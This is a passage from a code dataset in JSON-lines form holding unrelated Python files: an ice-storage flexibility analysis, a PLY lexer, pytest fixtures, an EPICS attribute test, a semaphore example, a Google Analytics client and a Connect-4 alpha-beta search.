1\n\t\t\t\t\tavg_occ_flex[window.index(w)] += kw_flex_future\n\t\t\t\t\tavg_kwh_flex[window.index(w)] += kwh_flex\n\n\t\t\t# Calculate flexibility relative to current timestep power as well\n\t\t\tif kw_flex <= 0:\n\t\t\t\tkw_flex = 0\n\t\t\telse:\n\t\t\t\tflex_counter[window.index(w)] += 1\n\t\t\t\tavg_flex[window.index(w)] += kw_flex\n\n\t\telse:\t# No flexiblity assumed if ITS cannot meet rate or energy requirements\n\t\t\tkw_flex = 0\n\t\t\tkw_flex_future = 0\n\t\t\tkwh_flex = 0\n\n\t\t# Update trace variables for shed plots\n\t\tkw_tr[window.index(w)][(t-an_pd[0])] = -kw_flex\n\t\tkw_future_tr[window.index(w)][(t-an_pd[0])] = kw_flex_future\n\t\tkwh_tr[window.index(w)][(t-an_pd[0])] = kwh_flex\n\t\tpost_flex_soc_tr[window.index(w)][(t-an_pd[0])] = soc_at_end\n\t\tno_flex_soc_tr[window.index(w)][(t-an_pd[0])] = soc[t+steps]\n\n\t\tif add:\n\t\t\t# Average cooling required over analysis period\n\t\t\tc_bar = sum(c) / steps\t\t\t# average tons\n\n\t\t\t# Average cooling provided by chiller over analysis period (excluding charging!)\n\t\t\tc_chill = []\n\t\t\tfor z in range(t,t+steps):\n\t\t\t\tc_chill.append(rate_chill[z] - rate_chg[z])\n\t\t\tc_bar_chill = sum(c_chill) / steps\t\t# average tons\n\n\t\t\t# If chiller capacity is nominally sufficient, add load based on nominal COP (convert tons to kW)\n\t\t\tif c > c_chill:\n\t\t\t\tadd_counter[window.index(w)] += 1\n\t\t\t\tif c_bar_chill <= chiller_cap:\n\t\t\t\t\tadd[window.index(w)][(t-an_pd[0])] = (c_bar - c_bar_chill) / 0.2843451 / chiller_COP\n\t\t\t\telif c_bar_chill > chiller_cap:\n\t\t\t\t\tadd[window.index(w)][(t-an_pd[0])] = (chiller_cap - c_bar_chill) / 0.2843451 / chiller_COP\n\n\t\t\t\tif occ_flag:\n\t\t\t\t\tadd_occ_counter[window.index(w)] += 1\n\t\t\t\t\tif c_bar_chill <= chiller_cap:\n\t\t\t\t\t\tadd_occ[window.index(w)][(t-an_pd[0])] = (c_bar - c_bar_chill) / 0.2843451 / chiller_COP\n\t\t\t\t\telif c_bar_chill > chiller_cap:\n\t\t\t\t\t\tadd_occ[window.index(w)][(t-an_pd[0])] = (chiller_cap - c_bar_chill) / 0.2843451 / chiller_COP\n\t\t\t\telse:\n\t\t\t\t\tadd_occ[window.index(w)][(t-an_pd[0])] = 0\n\n\t\t\t\t# Calc the average add terms\n\t\t\t\tavg_add[window.index(w)] += add[window.index(w)][(t-an_pd[0])]\n\t\t\t\tavg_add_occ[window.index(w)] += add_occ[window.index(w)][(t-an_pd[0])]\n\n\t\t\telif c <= c_chill:\n\t\t\t\tadd[window.index(w)][(t-an_pd[0])] = 0\n\n# Calculate the Average Flexibility Provided by ITS\nfor i in range(len(window)):\n\tif flex_counter[i] != 0:\n\t\tavg_flex[i] = avg_flex[i] / flex_counter[i]\n\t\tavg_flex_future[i] = avg_flex_future[i] / flex_future_counter[i]\n\t\tavg_kwh_flex[i] = avg_kwh_flex[i] / occ_flex_counter[i]\n\n\tif occ_flex_counter[i] != 0:\n\t\tavg_occ_flex[i] = avg_occ_flex[i] / occ_flex_counter[i]\n\n\tif add_counter[i] != 0:\n\t\tavg_add[i] = avg_add[i] / add_counter[i]\n\n\tif add_occ_counter[i] != 0:\n\t\tavg_add_occ[i] = avg_add_occ[i] / add_occ_counter[i]\n\n\n# Print Desired Outputs\nprint('Flex Counter:', [(i / ts_per_hr) for i in flex_counter])\nprint('Average Flex:', avg_flex)\nprint('Average Flex (Future):', avg_flex_future)\nprint('Total Hours:', len(x_an) / 4)\nprint('Occupied Flex Counter:', [(i / ts_per_hr) for i in occ_flex_counter])\nprint('Average Occupied Flex:', avg_occ_flex)\nprint('Occupied Hours:', occ_counter / 4)\nprint('Total Yes Flex Count:', [(i / ts_per_hr) for i in total_counter])\nprint('No Rate Count:', [(i / ts_per_hr) for i in no_rate_counter])\nprint('No SOC Count:', [(i / ts_per_hr) for i in no_soc_counter])\nprint('Average kWh Flex:', avg_kwh_flex)\nprint('Average Add kW:', avg_add)\nprint('Average Occ Add kW:', avg_add_occ)\nprint('Add Hours:', add_counter)\nprint('Add Occupied Hours:', add_occ_counter)\n\n\nprint(' Calculations Complete.\\n')\n\n#-----------------------------------------------------------------------------------------------------------------------\n## Create Figures\nprint('Creating Figures')\n\nstandard_template = go.layout.Template(\n\tlayout = go.Layout(\n\t\theight = 650, width = 1400,\n\t\ttitle_font = dict(family = 'Rockwell', size = 28),\n\t\txaxis = dict(\n\t\t\ttitle_font = dict(family = 'Rockwell', size = 24),\n\t\t\ttickfont = dict(family = 'Rockwell', size = 20),\n\t\t\tshowgrid = True,\n\t\t\tgridcolor = 'rgb(203,203,203)'\n\t\t\t),\n\t\tyaxis = dict(\n\t\t\ttitle_font = dict(family = 'Rockwell', size = 24),\n\t\t\ttickfont = dict(family = 'Rockwell', size = 20),\n\t\t\tshowgrid = True,\n\t\t\tgridcolor = 'rgb(203,203,203)'\n\t\t\t),\n\t\tpaper_bgcolor = 'rgba(0,0,0,0)', plot_bgcolor = 'rgba(0,0,0,0)',\n\t\t#legend = dict(x = 0.5, y = 1.1, font = dict(family = 'Rockwell', size = 18)),\n\t\thovermode = 'closest'\n\t)\n)\n\nkw_trace = []\nfor i in range(len(kw_tr)):\n\tkw_trace.append(go.Scatter(x = x_an, y = kw_tr[i], name = f'{window[i]} Hr kW Flex', legendgroup = i))\n\nkw_future_trace = []\nfor i in range(len(kw_future_tr)):\n kw_future_trace.append(go.Scatter(x = x_an, y = kw_future_tr[i],\n\t\t\t\t\t\t\t\t\tname = f'{window[i]} Hr kW Flex (Future)', legendgroup = i))\n\nkwh_trace = []\nfor i in range(len(kwh_tr)):\n\tkwh_trace.append(go.Scatter(x = x_an, y = kwh_tr[i], name = f'{window[i]} Hr kWh Flex', legendgroup = i))\n\nno_flex_soc_trace = []\nfor i in range(len(no_flex_soc_tr)):\n\tno_flex_soc_trace.append(go.Scatter(x = x_an, y = no_flex_soc_tr[i], name = f'{window[i]} Hr SOC No Flex',\n\t\t\t\t\t\t\t\t\t\tlegendgroup = i))\n\npost_flex_soc_trace = []\nfor i in range(len(post_flex_soc_tr)):\n\tpost_flex_soc_trace.append(go.Scatter(x = x_an, y = post_flex_soc_tr[i], name = f'{window[i]} Hr SOC Post Flex',\n\t\t\t\t\t\t\t\t\t\tlegendgroup = i))\n\nadd_trace = []\nfor i in range(len(add)):\n\tadd_trace.append(go.Scatter(x = x_an, y = add[i], name = f'{window[i]} Hr Add',\n\t\t\t\t\t\t\t\t\t\tlegendgroup = i))\n\npwr_trace = go.Scatter(x = x_an, y = pwr_facil[an_pd[0]:an_pd[1]], name = 'Facil Pwr [kW]')\n\nchill_trace = go.Scatter(x = x_an, y = pwr_chill[an_pd[0]:an_pd[1]], name = 'Chiller Pwr [kW]')\n\n# Fig 1\nif f1:\n\tfig = subplots.make_subplots(rows = 5, cols = 1, shared_xaxes = True,\n\t \t\tsubplot_titles = ('Facility Electric Load [kW]','kW Flex (Current)',\n\t\t\t\t\t\t\t\t \t\t\t\t'kW Flex (Future)', 'kWh Flex', 'Post SOC'))\n\n\tfig.append_trace(pwr_trace,1,1)\n\tfig.append_trace(chill_trace,1,1)\n\n\tfor i in range(len(kw_trace)):\n\t\tfig.append_trace(kw_trace[i],2,1)\n\n\tfor i in range(len(kw_future_trace)):\n\t\tfig.append_trace(kw_future_trace[i],3,1)\n\n\tfor i in range(len(kwh_trace)):\n\t\tfig.append_trace(kwh_trace[i],4,1)\n\n\tfor i in range(len(no_flex_soc_trace)):\n\t\tfig.append_trace(no_flex_soc_trace[i],5,1)\n\n\tfor i in range(len(post_flex_soc_trace)):\n\t\tfig.append_trace(post_flex_soc_trace[i],5,1)\n\n\t#fig['layout'].update(template = standard_template, showlegend = False)\n\tplotly.offline.plot(fig, filename = 'flex.html')\n\n# Add Plot\nfig = subplots.make_subplots(rows = 1, cols = 1, shared_xaxes = True)\n\nfig.append_trace(pwr_trace,1,1)\nfor i in range(len(add_trace)):\n\tfig.append_trace(add_trace[i],1,1)\n\nplotly.offline.plot(fig, filename = 'addflex.html')\n\n# Add and Shed Plot - Bounding!\nfig = subplots.make_subplots(rows = 1, cols = 1, shared_xaxes = True)\n\nfig.append_trace(add_trace[1],1,1)\nfig.append_trace(kw_trace[1],1,1)\n\nplotly.offline.plot(fig, filename = 'flexbound.html')\n\n\nprint(' Figures Complete.\\n')\nprint('Script Finished.')\n","sub_path":"add_ice_storage_to_plant_loop_for_load_flexiblity/analysis/flex.py","file_name":"flex.py","file_ext":"py","file_size_in_byte":18285,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"109561176","text":" # -*- coding: utf-8 -*-\n\nfrom re import sub\n\nimport ply.lex as lex\n\nkeywords = {\n\t'smaller' : 'SMALLER',\n\t'larger' : 'LARGER',\n\t'first' : 'FIRST',\n\t'second' : 'SECOND',\n\t\n\t'not': 'NOT',\n\t'or': 'OR',\n\t'and': 'AND',\n\n\t'set': 'SET',\n\t'add': 'ADD',\n\t'sub': 'SUB',\n\n\t'int': 'INT',\n\t'short': 'SHORT',\n\t'bool': 'BOOL',\n\t'false': 'FALSE',\n\t'true': 'TRUE',\n\t'undefined': 'UNDEFINED',\n\n\t'vector': 'VECTOR',\n\t'of': 'OF',\n\n\t'function': 'FUNCTION',\n\t'return': 'RETURN',\n\t'if': 'IF',\n\t'then': 'THEN',\n\t'else': 'ELSE',\n\t'while': 'WHILE',\n\t'do': 'DO',\n\t'begin': 'BEGIN',\n\t'end': 'END',\n\n\t'lms': 'LMS',\n\t'move': 'MOVE',\n\t'right': 'RIGHT',\n\t'left': 'LEFT',\n\t'sizeof': 'SIZEOF',\n\t'print' : 'PRINT'\n}\n\ntokens = tuple(keywords.values()) + (\n\t'ID', 'ICONST', 'SCONST',\n\t'LPAREN', 'RPAREN', 'LBRACKET', 'RBRACKET', 'LBRACE', 'RBRACE', 'COMMA',\n\t'ENDS', 'NEWLINE'\n)\n\nt_COMMA = r'\\,'\nt_LPAREN = r'\\('\nt_RPAREN = r'\\)'\nt_LBRACKET = r'\\['\nt_RBRACKET = r'\\]'\nt_LBRACE = r'\\{'\nt_RBRACE = r'\\}'\nt_ENDS = r';'\nt_ANY_ignore = ' \\t'\n\n\ndef t_error(t):\n\tprint(\"Illegal character '%s' at line '%s'\" % (t.value[0], t.lexer.lineno))\n\n\n\ndef t_ICONST(t):\n\t'((\\-)?[1-9][0-9]*)|[0]'\n\tt.value = int(t.value)\n\treturn t;\n\n\ndef t_SCONST(t):\n\tr'((\\-)?(?i)[S][1-9][0-9]*)|((?i)[S][0])'\n\tt.value = sub(r'(?i)[S]', '', t.value)\n\tt.value = int(t.value)\n\treturn t;\n\n\ndef t_ID(t):\n\tr'[_A-Za-z][_A-Za-z0-9]*'\n\tt.value = t.value.lower()\n\tif t.value in keywords:\n\t\tt.type = keywords[t.value]\n\treturn t\n\n\ndef t_NEWLINE(t):\n\tr'\\n+'\n\tt.lexer.lineno += len(t.value)\n\n\nlexer = lex.lex()\n\nif __name__ == '__main__':\n\n\tdef test(lexer, data):\n\t\tlexer.input(data)\n\t\twhile True:\n\t\t\ttok = lexer.token()\n\t\t\tif not tok:\n\t\t\t\tbreak\n\t\t\tprint(tok)\n\t\t\tif tok.type == 'ENDS':\n\t\t\t\tprint()\n\n\tprint()\n\tfilename = 'simple_test.i2'\n\tdata = open(filename).read()\n\ttest(lexer, data)\n","sub_path":"i2_lexer.py","file_name":"i2_lexer.py","file_ext":"py","file_size_in_byte":1803,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"151302113","text":"#\n# See https://github.com/dials/dials/wiki/pytest for documentation on how to\n# write and run pytest tests, and an overview of the available features.\n#\n\nfrom __future__ import absolute_import, division, print_function\n\nimport os\n\nimport pytest\n\ndef pytest_addoption(parser):\n '''Add a '--runslow' option to py.test.'''\n try:\n parser.addoption(\"--regression\", action=\"store_true\", default=False,\n help=\"run regression tests\")\n except ValueError:\n pass # Thrown in case the command line option is already defined\n parser.addoption(\"--runslow\", action=\"store_true\", default=False,\n help=\"run slow tests\")\n\ndef pytest_collection_modifyitems(config, items):\n '''Tests marked as slow will not be run unless slow tests are enabled with\n the '--runslow' parameter or the test is selected specifically. The\n latter allows running slow tests via the libtbx compatibility layer.'''\n if not config.getoption(\"--runslow\") and len(items) > 1:\n skip_slow = pytest.mark.skip(reason=\"need --runslow option to run\")\n for item in items:\n if \"slow\" in item.keywords:\n item.add_marker(skip_slow)\n\n@pytest.fixture(scope=\"session\")\ndef dials_regression():\n '''Return the absolute path to the dials_regression module as a string.\n Skip the test if dials_regression is not installed.'''\n try:\n import dials_regression as dr\n except ImportError:\n pytest.skip(\"dials_regression required for this test\")\n return os.path.dirname(dr.__file__)\n\n@pytest.fixture(scope=\"session\")\ndef regression_data(request):\n '''Return the location of a regression data set as py.path object.\n Skip the test if the data are not present.\n '''\n if not request.config.getoption(\"--regression\"):\n pytest.skip(\"Test requires --regression option to run.\")\n\n import dials.util.regression_data\n df = dials.util.regression_data.DataFetcher()\n def skip_test_if_lookup_failed(result):\n if not result:\n pytest.skip('Regression data is required to run this test. Run dials.fetch_test_data')\n return result\n setattr(df, 'result_filter', skip_test_if_lookup_failed)\n return df\n\n@pytest.fixture\ndef run_in_tmpdir(tmpdir):\n '''Shortcut to create a temporary directory and then run the test inside\n this directory.'''\n tmpdir.chdir()\n return tmpdir\n","sub_path":"conftest.py","file_name":"conftest.py","file_ext":"py","file_size_in_byte":2308,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"552095724","text":"# uncompyle6 version 3.7.4\n# Python bytecode 2.7 (62211)\n# Decompiled from: Python 3.6.9 (default, Apr 18 2020, 01:56:04) \n# [GCC 8.4.0]\n# Embedded file name: build/bdist.linux-x86_64/egg/taurus/core/epics/test/test_epicsattribute.py\n# Compiled at: 2019-08-19 15:09:29\n\"\"\"Test for epicsattributes...\"\"\"\nimport os, sys, numpy, subprocess, unittest\nfrom taurus.core.units import Quantity\nimport taurus\nfrom taurus.test import insertTest, getResourcePath\nfrom taurus.core.taurusbasetypes import DataType, AttrQuality, DataFormat\nfrom taurus.core.taurusbasetypes import TaurusAttrValue\n\n@insertTest(helper_name='write_read_attr', attrname='ca:test:a', setvalue=Quantity('1000mm'), expected=dict(rvalue=Quantity('1m'), type=DataType.Float, writable=True, data_format=DataFormat._0D, range=[\n Quantity('-10m'), Quantity('10m')], alarms=[\n None, None], warnings=[\n None, None]), expected_attrv=dict(rvalue=Quantity('1m'), wvalue=Quantity('1m'), quality=AttrQuality.ATTR_VALID, error=None))\n@unittest.skipIf(('epics' in sys.modules) is False, 'epics module is not available')\nclass AttributeTestCase(unittest.TestCase):\n \"\"\"TestCase for the taurus.Attribute helper\"\"\"\n _process = None\n\n @classmethod\n def setUpClass(cls):\n \"\"\"Run the epics_test softIoc\"\"\"\n db_name = getResourcePath('taurus.core.epics.test.res', 'epics_test.db')\n args = ['softIoc', '-m', 'INST=test', '-d', db_name]\n dev_null = open(os.devnull, 'wb')\n cls._process = subprocess.Popen(args, stdout=dev_null, stderr=dev_null)\n\n @classmethod\n def tearDownClass(cls):\n \"\"\"Terminate the epics_test softIoc process\"\"\"\n if cls._process:\n cls._process.terminate()\n else:\n taurus.warning('Process not started, cannot terminate it.')\n\n def write_read_attr(self, attrname=None, setvalue=None, expected=None, expected_attrv=None, expectedshape=None):\n \"\"\"check creation and correct write-and-read of an attribute\"\"\"\n if expected is None:\n expected = {}\n if expected_attrv is None:\n expected_attrv = {}\n a = taurus.Attribute(attrname)\n if setvalue is None:\n read_value = a.read(cache=False)\n else:\n read_value = a.write(setvalue, with_read=True)\n msg = 'read() for \"%s\" did not return a TaurusAttrValue (got a %s)' % (\n attrname, read_value.__class__.__name__)\n self.assertTrue(isinstance(read_value, TaurusAttrValue), msg)\n for k, exp in expected.items():\n try:\n got = getattr(a, k)\n except AttributeError:\n msg = 'The attribute, \"%s\" does not provide info on %s' % (\n attrname, k)\n self.fail(msg)\n\n msg = '%s for \"%s\" should be %r (got %r)' % (\n k, attrname, exp, got)\n self.__assertValidValue(exp, got, msg)\n\n for k, exp in expected_attrv.items():\n try:\n got = getattr(read_value, k)\n except AttributeError:\n msg = 'The read value for \"%s\" does not provide info on %s' % (\n attrname, k)\n self.fail(msg)\n\n msg = '%s for the value of %s should be %r (got %r)' % (\n k, attrname, exp, got)\n self.__assertValidValue(exp, got, msg)\n\n if expectedshape is not None:\n msg = 'rvalue.shape for %s should be %r (got %r)' % (\n attrname, expectedshape, read_value.rvalue.shape)\n self.assertEqual(read_value.rvalue.shape, expectedshape, msg)\n return\n\n def __assertValidValue(self, exp, got, msg):\n if isinstance(got, Quantity):\n got = got.to(Quantity(exp).units).magnitude\n if isinstance(exp, Quantity):\n exp = exp.magnitude\n try:\n chk = numpy.allclose(got, exp)\n except:\n if isinstance(got, numpy.ndarray):\n chk = got.tolist() == exp.tolist()\n else:\n chk = bool(got == exp)\n\n self.assertTrue(chk, msg)","sub_path":"pycfiles/taurus-4.6.1-py2.7/test_epicsattribute.py","file_name":"test_epicsattribute.py","file_ext":"py","file_size_in_byte":4063,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"144085966","text":"from random import randint\nfrom Semaphore import Semaphore\nimport threading\n\nclass SemaphoreExampleThread(threading.Thread):\n\n intList = []\n listSize = 100000\n semaphore = Semaphore(1)\n\n def __init__(self):\n super(SemaphoreExampleThread, self).__init__()\n\n @staticmethod\n def fillList():\n for i in range(0, SemaphoreExampleThread.listSize):\n SemaphoreExampleThread.intList.append(i)\n\n def flipCoin(self):\n return randint(0,1)\n\n def run(self):\n for i in range(0,4):\n # Determine if this thread is heads or tails\n coin = self.flipCoin()\n if coin == 0:\n self.print_(\"Thread \" + self.getName() + \" is ready to read the shared location\")\n self.read()\n self.print_(\"Thread \" + self.getName() + \" is now done reading shared location\")\n else:\n self.print_(\"Thread \" + self.getName() + \" is read to write the shared location\")\n self.write()\n self.print_(\"Thread \" + self.getName() + \" is now donw writing shared location\")\n\n def print_(self, msg):\n \"\"\"\n Print threads indented for easier viewing\n :param msg:\n :return:\n \"\"\"\n if self.getName() == \"one\":\n print(\"\\t\"),\n elif self.getName() == \"two\":\n print(\"\\t\\t\"),\n elif self.getName() == \"three\":\n print(\"\\t\\t\\t\"),\n else:\n print(\"\\t\\t\\t\\t\"),\n print(msg)\n\n def read(self):\n for i in range(0,self.listSize -1):\n self.intList[i]\n\n def write(self):\n \"\"\"\n Update list\n :return:\n \"\"\"\n SemaphoreExampleThread.semaphore.acquire()\n for i in range(0, self.listSize-1):\n self.intList[i] = i\n SemaphoreExampleThread.semaphore.release()\n\n\n\n\n","sub_path":"ConcurrentFun/SemaphoreExampleThread.py","file_name":"SemaphoreExampleThread.py","file_ext":"py","file_size_in_byte":1867,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"537262364","text":"\"\"\"Wrap access to GA in a high level client with a \"fetch\" endpoint.\n\n\"\"\"\n\nfrom apiclient.errors import HttpError\nfrom dashboard.dirs import CACHE_DIR\nfrom dashboard.fetch.ga_auth import perform_auth\nfrom dashboard.fetch.ga_profile import get_profile\nfrom datetime import datetime, timedelta\nfrom oauth2client.client import AccessTokenRefreshError\nimport hashlib\nimport json\nimport logging\nimport os\nimport time\n\n\nlogger = logging.getLogger(__name__)\n\n\n\nclass GAError(Exception):\n pass\n\n\ndef cached_iterator(fn):\n cache_dir = os.path.join(CACHE_DIR, 'gacache')\n if not os.path.isdir(cache_dir):\n logger.info(\"Making cache dir %s\", cache_dir)\n os.makedirs(cache_dir)\n\n def wrapped(self, *args, **kwargs):\n assert isinstance(self, GAClient)\n h = hashlib.sha1(repr([args, kwargs])).hexdigest()\n path = os.path.join(cache_dir, h)\n if os.path.exists(path):\n logger.info(\"Serving GA request from cache\")\n with open(path) as fobj:\n for row in fobj:\n yield json.loads(row)\n return\n logger.info(\"Performing GA request %s\", path)\n sampled = False\n try:\n with open(path + '.tmp', 'wb') as fobj:\n for result in fn(self, *args, **kwargs):\n if result.get('sampled') is not None:\n sampled = True\n fobj.write(json.dumps(result, separators=(',', ':')) + '\\n')\n yield result\n except:\n os.unlink(path + '.tmp')\n raise\n if sampled:\n # Don't cache sampled results\n os.unlink(path + '.tmp')\n else:\n os.rename(path + '.tmp', path)\n\n return wrapped\n\n\nclass GAClient(object):\n def __init__(self):\n self._last_request = None\n\n # Worst sampling rate that we've seen. None if none seen.\n # Callers of the client may reset this to None, and read it.\n self.worst_sample_rate = None\n\n # Time until we can trust that GA has processed the data.\n self.ga_latency = timedelta(hours=4)\n\n def _ensure_init_ga(self):\n \"\"\"Initialise GA connection if not already done.\n\n Looks up profile ids, etc.\n\n \"\"\"\n if self._last_request is not None:\n return\n try:\n self.service = perform_auth()\n self.profiles = {\n 'search': get_profile(\n self.service, 'www.gov.uk', 'UA-26179049-1',\n 'Q. Site search (entire site with query strings)'),\n }\n except AccessTokenRefreshError:\n logger.exception(\n \"Credentials error initialising GA access\",\n )\n raise GAError(\"Credentials error initialising GA access\")\n except HttpError as error:\n logger.exception(\n \"HTTP error initialising GA access: %s: %s\",\n error.resp.status, error._get_reason(),\n )\n raise GAError(\"HTTP error initialising GA access\")\n self._last_request = time.time()\n\n def build_ga_params(self, profile_name, ga_date, kwargs):\n profile = self.profiles[profile_name]\n params = dict(\n ids='ga:' + profile['profile_id'],\n start_date=ga_date,\n end_date=ga_date,\n samplingLevel=\"HIGHER_PRECISION\",\n max_results=10000,\n )\n params.update(kwargs)\n return params\n\n @cached_iterator\n def _fetch_from_ga(self, profile_name, date, name_map, kwargs):\n \"\"\"Call GA with the given profile, date and args.\n\n Yield an iterator of the result.\n\n \"\"\"\n self._ensure_init_ga()\n\n # Rate limit by simplest possible means.\n since = time.time() - self._last_request\n if since < 1:\n time.sleep(1.0 - since)\n self._last_request = time.time()\n\n ga_date = date.strftime(\"%Y-%m-%d\")\n\n now = datetime.now()\n latest_hour = None\n if date + timedelta(days=1) + self.ga_latency > now:\n # Some data for the selected date is not yet reliably available.\n if \"ga:hour\" in kwargs.get('dimensions', ''):\n # Grouping by hour, so can rely on some of the old hours.\n latest_hour = ((now - self.ga_latency).hour + 23) % 24\n if latest_hour < 0:\n return\n else:\n # We're not grouping by hour, so can't rely on any of the data.\n return\n\n try:\n params = self.build_ga_params(profile_name, ga_date, kwargs)\n\n start_index = 1\n while True:\n resp = self.service.query.get_raw_response(\n start_index=start_index,\n **params\n )\n if resp.get('containsSampledData'):\n sample_size = int(resp.get('sampleSize', 0))\n sample_space = int(resp.get('sampleSpace', 1))\n sample_rate = sample_size * 100.0 / sample_space\n logger.warning(\n \"GA query in %r profile used sampled data (%.2f%%: %s of %s): params %r\",\n profile_name,\n sample_rate, sample_size, sample_space,\n params)\n else:\n sample_rate = None\n total_results = resp['totalResults']\n headers = [\n name_map.get(header['name'][3:], header['name'][3:])\n for header in resp['columnHeaders']\n ]\n header_types = [\n {\n 'STRING': unicode,\n 'INTEGER': int,\n 'PERCENT': float,\n }[header['dataType']]\n for header in resp['columnHeaders']\n ]\n\n def makerow(row):\n ret = dict(zip(\n headers,\n (header_type(value)\n for (header_type, value) in zip(header_types, row))))\n if 'hour' in ret:\n hour = int(ret['hour'])\n ret['hour'] = hour\n if latest_hour is not None and hour > latest_hour:\n return None\n if sample_rate:\n ret['sampled'] = sample_rate\n\n return ret\n\n rows = resp.get('rows', ())\n for row in rows:\n start_index += 1\n row = makerow(row)\n if row is not None:\n yield row\n logger.info(\n \"Fetched %d of %d rows\", start_index - 1, total_results\n )\n\n if start_index > total_results:\n return\n except AccessTokenRefreshError:\n logger.exception(\n \"Credentials error fetching data from GA\",\n )\n raise GAError(\"Credentials error fetching data from GA\")\n except HttpError as error:\n logger.exception(\n \"HTTP error fetching data from GA: %s: %s\",\n error.resp.status, error._get_reason(),\n )\n raise GAError(\"HTTP error fetching data from GA\")\n\n\n def fetch(self, profile_name, date, name_map=None, **kwargs):\n \"\"\"Fetch some metrics.\n\n :param profile_name: The textual name of the GA profile to use.\n :param date: The date to fetch data for.\n :param name_map: A mapping from google column name to a name to return.\n\n Any other arguments are passed to the call to GA.\n\n Yields a sequence of rows. In each row, values are mapped to the\n appropriate string, integer or float datatype.\n\n Date fields are added automatically:\n - a 'date' column holding an ISO format date string\n - a 'year' column holding the year number\n - a 'week' column holding the week number in the year\n - a 'week_day' column holding the ISO week-day number (1==mon, 7==sun)\n\n Data which is more recent than ga_latency will not be returned.\n\n \"\"\"\n if name_map is None:\n name_map = {}\n\n # Remove time components from date, if it has any.\n date = datetime(year=date.year, month=date.month, day=date.day)\n\n for row in self._fetch_from_ga(profile_name, date, name_map, kwargs):\n sample_rate = row.get('sampled')\n if (\n self.worst_sample_rate is None or\n self.worst_sample_rate > sample_rate\n ):\n self.worst_sample_rate = sample_rate\n yield row\n","sub_path":"dashboard/fetch/ga_client.py","file_name":"ga_client.py","file_ext":"py","file_size_in_byte":8835,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"573323408","text":"HISTORY_SIZE = 3\nHISTORY_FILE = 'history.json'\n\ncode_sites = {\n 'pastebin.com' : r\".*?\\[(.*?)\\].*?.*?\",\n 'codepad.org' : r\".*?(.*?) .*?.*?\",\n 'gist.github.com': r'
1:\n raise TypeError\n if i <= 0:\n raise TypeError\n if range_num[0] >= range_num[1]:\n raise AttributeError\n orig_list = [randint(range_num[0], range_num[1]) for el in range(amount_num)]\n print(orig_list)\nexcept ValueError:\n print('Need numbers. Try again.')\nexcept TypeError:\n print('Need only two numbers. And they should be > 0. Really sorry, '\n 'but we can not build a range starting from negative number or 0 '\n 'as well as range for 3 numbers is impossible.')\nexcept AttributeError:\n print('Number 1 should be < than number 2. Please, try again.')\ntry:\n new_list = [el for el in orig_list if el > orig_list[(orig_list.index(el) - 1)] and orig_list.index(el) > 0]\n print(new_list)\nexcept NameError:\n pass\n\n\n","sub_path":"task_4.2.py","file_name":"task_4.2.py","file_ext":"py","file_size_in_byte":1350,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"474545192","text":"# Minimax AI for Connect 4 with alpha-beta pruning\n# @author Everett Harding\n\nfrom minimax import *\nimport time\nclass AlphaBeta(Minimax):\n \"\"\" alphabeta object that takes a current connect four\"\"\"\n timeLimit = 0\n\n def __init__(self, board):\n #copy the board\n super(AlphaBeta, self).__init__(board)\n\n def bestMove(self, depth, state, curr_player, timeLimit):\n \"\"\" Returns the best move (as a column number) and the associated alpha\n Calls search()\n \"\"\"\n # determine opponent's color\n if curr_player == self.colors[0]:\n opp_player = self.colors[1]\n else:\n opp_player = self.colors[0]\n\n # enumerate all legal moves\n legal_moves = {} # will map legal move states to their alpha values\n # for col in range(7):\n # # if column i is a legal move...\n # if self.isLegalMove(col, state):\n # # make the move in column 'col' for curr_player\n # temp = self.makeMove(state, col, curr_player)\n # start = time.clock()\n # legal_moves[col] = self.search(depth-1, temp, opp_player, -1000000, 1000000, curr_player, start, self.timeLimit/7)\n\n legal_moves , maxDepth= self.iterativeDeep(depth, timeLimit, state, curr_player, opp_player)\n #print(\"Depth reached: \", maxDepth)\n best_alpha = -99999999\n best_move = None\n moves = legal_moves.items()\n random.shuffle(list(moves))\n for move, alpha in moves:\n # print(\"Compare\", alpha,move, \"to\", best_alpha,best_move)\n if alpha >= best_alpha:\n best_alpha = alpha\n best_move = move\n\n return best_move, best_alpha, maxDepth\n\n # iterative deepening wrapper for alphabeta search\n def iterativeDeep(self, depth, timeLimit, state, curr_player, opp_player):\n d = 0\n startTime = time.clock()\n legal_moves = {}\n alpha = -100000\n beta = 100000\n while d <= depth and time.clock() - startTime <= timeLimit:\n for col in range(7):\n if self.isLegalMove(col, state):\n # make the move in column 'col' for curr_player\n temp = self.makeMove(state, col, curr_player)\n substart = time.clock()\n legal_moves[col] = self.search(d, temp, opp_player, alpha, beta, curr_player, substart, timeLimit/7)\n d += 1\n return legal_moves, d-1\n\n # based on pseudocode from wikipedia\n def search(self, depth, state, curr_player, alpha, beta, me, startTime, limit):\n \"\"\" minimax search with alpha-beta pruning\"\"\"\n children = []\n\n for col in range (7):\n if self.isLegalMove(col, state):\n temp = self.makeMove(state, col, curr_player)\n children.append(temp)\n children = sorted(children, key = lambda x: -self.value(x, me))\n # determine opponent's color\n if curr_player == self.colors[0]:\n opp_player = self.colors[1]\n else:\n opp_player = self.colors[0]\n\n if len(children) == 0 or time.clock() - startTime >= limit or depth == 0 :\n #print(\"Max Depth heuristic : \", self.value(state, curr_player))\n # for row in temp:\n # print(row)\n # print(\"\\n\")\n # print(\"Value:\", self.value(state, me))\n # input(\"continue?\\n\")\n return self.value(state, me)\n if self.gameIsOver(state):\n return self.value(state, me)\n\n if curr_player is me:\n #do max search\n val = -10000000\n for child in children:\n val = max(val, self.search(depth - 1, child, opp_player, alpha, beta, me, startTime, limit))\n alpha = max(alpha, val)\n if(beta <= alpha):\n return alpha\n if time.clock() - startTime >= limit:\n return val\n return val\n else :\n #do min search\n val = 10000000\n for child in children:\n val = min(val, self.search(depth - 1, child, opp_player, alpha, beta, me, startTime, limit))\n beta = min(beta, val)\n if (beta <= alpha):\n return beta\n if time.clock() - startTime >= limit:\n return val\n return val\n\n # def 